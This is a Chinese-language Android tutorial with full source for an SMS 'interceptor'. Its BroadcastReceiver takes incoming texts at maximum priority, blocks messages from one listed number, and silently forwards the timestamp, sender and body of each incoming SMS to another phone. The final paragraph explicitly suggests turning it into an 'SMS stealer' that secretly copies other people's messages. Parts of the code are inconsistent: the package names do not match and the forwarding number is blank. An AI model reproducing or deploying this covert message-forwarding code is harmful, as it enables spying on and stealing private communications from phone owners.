本文為大家提供一個短信攔截器的Android開發實例,詳細演示如何實現短信攔截。
該短信攔截器主要通過兩種方式來實現攔截,第一種是在AndroidManifest.xml中設置進行直接攔截,第二種則是通過手動注冊來設置攔截。這其中會涉及到在文檔中查閱短信收發的一些權限說明。
下面貼上這個短信攔截器程序的代碼,與大家分享。
main.xml layout:
XML/HTML代碼
- <?xml version="1.0" encoding="utf-8"?>
- <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:orientation="vertical"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
- >
- <Button
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:text="注冊攔截"
- android:onClick="regiset"
- />
- <Button
- android:layout_width="fill_parent"
- android:layout_height="wrap_content"
- android:text="解注冊攔截"
- android:onClick="unregiset"
- />
- </LinearLayout>
首頁顯示的SmsListenerActivity:
Java代碼
- package com.tk178zhe.android.SmsListener;
-
- import android.app.Activity;
- import android.content.IntentFilter;
- import android.os.Bundle;
- import android.view.View;
- import android.widget.Toast;
-
- public class SmsListenerActivity extends Activity {
- private SmsRecevier recevier;
- private boolean isregiset = false;
- private static final String ACTION = "android.provider.Telephony.SMS_RECEIVED";
-
- @Override
- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.main);
- recevier = new SmsRecevier();
- }
- public void regiset(View v) {
- IntentFilter filter = new IntentFilter(ACTION);
- filter.setPriority(1000);//設置優先級最大
- registerReceiver(recevier, filter);
- isregiset = true;
- Toast.makeText(this, "注冊成功", 0).show();
- }
-
- public void unregiset(View v) {
- if (recevier != null && isregiset) {
- unregisterReceiver(recevier);
- isregiset = false;
- Toast.makeText(this, "解注冊成功", 0).show();
- } else
- Toast.makeText(this, "尚未注冊", 0).show();
- }
- @Override
- protected void onDestroy() {
- super.onDestroy();
- if (recevier != null && isregiset) {
- unregisterReceiver(recevier);
- isregiset = false;
- Toast.makeText(this, "解注冊成功", 0).show();
- }
- }
- }
如果是利用手動的來注冊攔截,那麼就不需要在AndroidManifest.xml中設置recevier了。不過利用手動的來設置攔截,那就和做的這個攔截器的需要不相符了,這裡我只是為了更加明顯的說明廣播的機制。
AndroidManifest.xml:
XML/HTML代碼
- <?xml version="1.0" encoding="utf-8"?>
- <manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.tk178zhe.android.SmsListener"
- android:versionCode="1"
- android:versionName="1.0">
- <uses-sdk android:minSdkVersion="8" />
-
- <application android:icon="@drawable/icon" android:label="@string/app_name">
- <activity android:name=".SmsListenerActivity"
- android:label="@string/app_name">
- <intent-filter>
- <action android:name="android.intent.action.MAIN" />
- <category android:name="android.intent.category.LAUNCHER" />
- </intent-filter>
- </activity>
- <!-- 這是隱式的設置receiver 我們做的這個攔截器需要這樣去做
- <receiver android:name=".SmsRecevier">
- <intent-filter android:priority="1000"> 將優先級設到最大
- <action android:name="android.provider.Telephony.SMS_RECEIVED" />
- </intent-filter>
- </receiver>
- -->
- </application>
- <uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信權限 -->
- <uses-permission android:name="android.permission.SEND_SMS"/><!-- 發送短信權限 -->
- <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
- </manifest>
SmsRecevier類派生於BroadcastReceiver,用作攔截信息:
Java代碼
- package com.tk178zhe.android.android;
-
- import java.text.SimpleDateFormat;
- import java.util.Date;
-
- import android.content.BroadcastReceiver;
- import android.content.Context;
- import android.content.Intent;
- import android.telephony.SmsManager;
- import android.telephony.SmsMessage;
- import android.util.Log;
-
- public class SmsRecevier extends BroadcastReceiver {
- public SmsRecevier() {
- Log.v("TAG", "SmsRecevier create");
- }
-
- @Override
- public void onReceive(Context context, Intent intent) {
- Log.v("TAG", "SmsRecevier onReceive");
- Object[] pdus = (Object[]) intent.getExtras().get("pdus");
- if (pdus != null && pdus.length > 0) {
- SmsMessage[] messages = new SmsMessage[pdus.length];
- for (int i = 0; i < pdus.length; i++) {
- byte[] pdu = (byte[]) pdus[i];
- messages[i] = SmsMessage.createFromPdu(pdu);
- }
- for (SmsMessage message : messages) {
- String content = message.getMessageBody();// 得到短信內容
- String sender = message.getOriginatingAddress();// 得到發信息的號碼
- if (sender.equals("110")) {
- abortBroadcast();// 中止發送
- Log.e("TAG", "此號碼為黑名單號碼,已攔截!");
- }
- Date date = new Date(message.getTimestampMillis());
- SimpleDateFormat format = new SimpleDateFormat(
- "yyyy-MM-dd HH:mm:ss");
- String sendContent = format.format(date) + ":" + sender + "--"
- + content;
- SmsManager smsManager = SmsManager.getDefault();// 發信息時需要的
- smsManager.sendTextMessage("", null, sendContent, null,
- null);// 轉發給
- Log.v("TAG", sendContent);
- }
- }
- }
- }
這樣一個短信攔截器就做好了,當110這個號碼給別人發信息時,就會被攔截,轉發給178。我們可以通過Log的打印信息來觀察結果。
延伸一下,我們也可以做一個不攔截,但是可以竊取短信的短信竊取器。怎麼做呢?和上面差不多,只是不需要攔截了,而是利用短信在發送給指定人的同時讓它也發給自己,這樣就可以做到輕而易舉的竊取別人的信息內容了。